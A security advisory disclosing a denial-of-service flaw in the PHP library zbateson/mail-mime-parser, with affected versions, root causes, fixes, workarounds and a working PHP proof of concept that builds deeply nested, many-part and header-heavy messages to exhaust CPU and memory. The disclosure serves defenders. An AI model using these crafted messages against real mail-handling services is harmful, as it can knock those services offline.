zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME

An attacker who can supply untrusted email to an application using this library can cause excessive CPU and memory use, potentially causing denial of service or an out-of-memory kill. Parsing is lazy: the cost is incurred on the first getAllParts() call or content read. A message byte-size cap alone does not bound the work done.

In composer.lock, find zbateson/mail-mime-parser and check whether its version is >= 2.0.0, < 3.0.6 or >= 4.0.0, < 4.0.2. Then check whether your application parses untrusted email and calls getAllParts() or reads message content. Fixed releases are 3.0.6 and 4.0.2; affected 2.x releases are end-of-life and will not receive patches.

Until upgrading, restrict the parser's exposure to untrusted input and run parsing under a constrained memory_limit and execution time limit, so a malicious message fails its own request rather than exhausting the host. An input byte-size cap alone is not sufficient.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.